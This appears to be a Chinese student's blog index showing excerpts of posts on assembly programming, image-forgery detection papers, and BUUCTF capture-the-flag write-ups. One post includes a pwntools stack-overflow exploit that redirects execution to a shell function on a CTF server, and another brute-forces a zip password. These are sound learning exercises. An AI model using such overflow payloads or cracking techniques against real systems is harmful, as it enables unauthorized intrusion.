brightendavid's blog

原创： 32位汇编语言复习文档 32位汇编语言复习文档汇编使用C语言的参数 printf的参数从右向左push，最后再 call crt_printf 和 call crt_scanf; 调用伪指令 CALL 123456789101112131415161718192021222324.686.model flat, stdcall.stack 4096INCLUDE Irvine32.incINCLUDELIB Irvine32.libinclude F:\masm32\include\msvcrt.incincludelib F:\masm32\lib\msvcrt.lib.datame_str db 'hello world! %x\n',0me_input_int db '%d'int32_val dd 123ExitProcess proto,dwExitCode:dword .code main proc push offset int32_val push offset me_input_int call crt_scanf; ...

原创： 2021/3/21 数据包中的线索BUUCTF 2021/3/21 数据包中的线索BUUCTF https://buuoj.cn/challenges#%E6%95%B0%E6%8D%AE%E5%8C%85%E4%B8%AD%E7%9A%84%E7%BA%BF%E7%B4%A2 题目描述如上 我们拿到了一个流量包 老办法：先搜索一下字符串flag,发现找不到（万事休矣—–） 不知道为什么需要追踪http 流,那么发现找到的包里面很可能是base64编码。 https://the-x.cn/base64 下载文件，即可得到flag

原创： 2020-10-24 2020-10-24最近新学习了汇编语言，在vs2019上配置汇编的环境花了很长的事件，总结一下我经过最近的悲惨经历之后的成果。   1，作为学习者，如果需要使用debug功能，最好是不要使用masmplus，因为它的自定义组件debug.exe在64位的windows系统上是不兼容的。debug.exe这个东西可能在几年前还是win的系统上自带的，但是现在而言，至少我的电脑上是没有的，如果在网上去找，还是可以找到的，但是还是没有什么用，因为不兼容呀。推荐还是使用vs2019，再装个插件。插件可以使用AsmDude，可以提供局部高亮。   2，如果以上的环境搭建还是无法让汇编启动，那么就需要**”INCLUDE Irvine32.inc“**这个东西了。这个Irvine的库非常的重要 https://www.lanzous.com/i6364hg 还是像配置上面的环境一样把这里的库配到vs2019的项目属性里面就可以了。

原创： A Comparative Study on the Detection of Image Forgery of Tampered Background or Foreground A Comparative Study on the Detection of Image Forgery of Tampered Background or Foreground A Comparative Study on the Detection of Image Forgery of Tampered Background or Foreground 2021 9th International Symposium on Digital Forensics and Security (ISDFS) | 978-1-6654-4481-1/21/$31.00 ©2021 IEEE | DOI: 10.1109/ISDFS52919.2021.9486363 对于图像前景/背景伪造的研究。这篇论文是数据集的论文。作者还是很有见地的，就是做的数据集 ...

原创： A Deep Learning based Method for Image Splicing Detection A Deep Learning based Method for Image Splicing Detection Journal of Physics: Conference Series 1714 (2021) 012038 IOP Publishing doi:10.1088/1742-6596/1714/1/012038 Res50 进行特征的提取，保留得出的每一个结果。 使用SVM对于test进行分类. 输出的是图像是否经过篡改的二分类问题，不是像素级别的定位。 要是对图像总体进行二分类，那么acc单独作为指标也说得通。 要是对像素进行分类，还只给了acc,那就很过分了。 本文是对图像总体进行分类。 对比的方法不是很新，不过近年来也没有什么对图像进行是否篡改的二分类的文章，毕竟这个二分类没什么用。

原创： BUUCTF 二维码 1 BUUCTF 二维码 1 得到了一个QR-code。 二维码中 的信息是”secret is here”. 使用常用的解密工具，发现，在binwalk下可以得到有用信息。里面藏了一个压缩包。 获得了一个加密的压缩包。通过文件名提示，可以猜测，密码是4个数字，那么这个密码的解密难度就很低了。 使用爆破工具进行爆破，这里使用的是AZPR,不用5秒钟，可以得到解密文件， Total passwords: 7,631 Total time: 4ms Average speed (passwords per second): 1,907,750 Password for this file: 7639 Password in HEX: 37 36 33 39 解压后，即可得到flag CTF{vjpw_wnoei} 但是，应当转为flag{}格式提交。

原创： A Skip Connection Architecture for Localization of Image Manipulations A Skip Connection Architecture for Localization of Image ManipulationsA Skip Connection Architecture for Localization of Image Manipulationscvpr2019 输入的图像固定为256 * 256 * 3 分为8*8个batch ,每个batch 不重叠，每个batch 为16 * 16 的分辨率 下方的信息流为LSTM 部分，输入为batch。上方信息流直接进行卷积运算，输入为完整的图像 256 * 256 。 跳跃连接三种不同的跳跃连接，通过实验挑选对于此问题最优的跳跃连接 这是使用无论图中的那个skip比较好的意思。 LSTM图像输入LSTM 。 先对图像进行二维转一维的转换，依据希尔伯特曲线。 依据分形理论，希尔伯特曲线可以历遍整个图像。 图像分为64个batch ，batch 按照希尔伯 ...

原创： BUUCTF_FLAG_MISC BUUCTF_FLAG_MISC获得的图片《教练，我想打CTF》,感觉是刻在了DNA里面的场景。 先来三板斧，binwalk，stegsolve,winhex来一遍 发现了stegsolve 中的LSB隐写有问题，出现了PK文件头的字样 一时间想不起来PK是哪个文件头了。 先保存，保存为bin。 现在我们知道他是zip格式的文件头了。 给他一个后缀.zip格式 里面还是有一个不知名的文件。 怎么都做不下去了，就丢到winhex里面看 查找题目中的关键字hctf 很神奇就出现了hctf。就是flag。 当然还看到有人把压缩包丢到linux里面用strings 函数找字符串。 用到的是strings 和grep的通道。（要是有闲心，当然可以人工找） 就是有一点要注意，就是要把里面的1文件解压出来，否则它的编码是编码过的，就找不到了。 2021/3/23

原创： BUUCTF-rip 尝试PWN入门 BUUCTF-rip 尝试PWN入门BUUCTF-rip 拿到的是一个什么呢，感觉是一个小系统？ 但是也就是一个小程序嘛。 这个程序就是执行一个输入输出 的命令。但是这里面存在漏洞。 这个s是15byte的字符 在fun部分有一个/bin/sh 这个据说是一个系统级函数，为什么说是系统级函数呢，因为有一个system吧。 一般会是什么用都没有。 但是在使用这样的一个payload后,就可以利用，也不知道这个pwn 库是做了什么。感觉像是变魔术。要刚好把堆栈覆盖到这个系统函数的位置？是不是这个解释呢。 1234567891011121314#python3 需要预先安装pwntoolsfrom pwn import *p = remote('node3.buuoj.cn', '27532') payload = b'a' * (0xf + 8) + p64(0x40118A) #这个b是转换为字节流，python3特色 #这个15+8 好像很神奇的样 ...

原创： CAT-Net: Compression Artifact Tracing Network for Detection and Localization of Image Splicing CAT-Net: Compression Artifact Tracing Network for Detection and Localization of Image Splicing图像篡改检测的定位分为三类： 基于块的检测 ，补丁检测，和像素级的检测 视觉线索和压缩伪影：可以作为两个依据来判定图像的篡改 视觉线索即像素之间的关系。对于单纯把视觉线索作为网络检测标准的网络，把复制粘贴到纯色背景的情况是绝对检测不出来的。在表格篡改和标语篡改中，这种情况还是很常见的。 而压缩伪影：特指Jpg压缩所用的DCT矩阵，一般还是识别jpg双压缩线索比较常见。ELA之类的。 池化：研究表明不适合图像的篡改检测，强化图像的内容，抑制噪声信号。池化可能在cv的其他领域的效果不错，但是在图像篡改检测邻域，会破坏图像像素之间的细微线索，导致检测的失败。 这个网络结构好像最近很流行，这种多分辨率融合网络， ...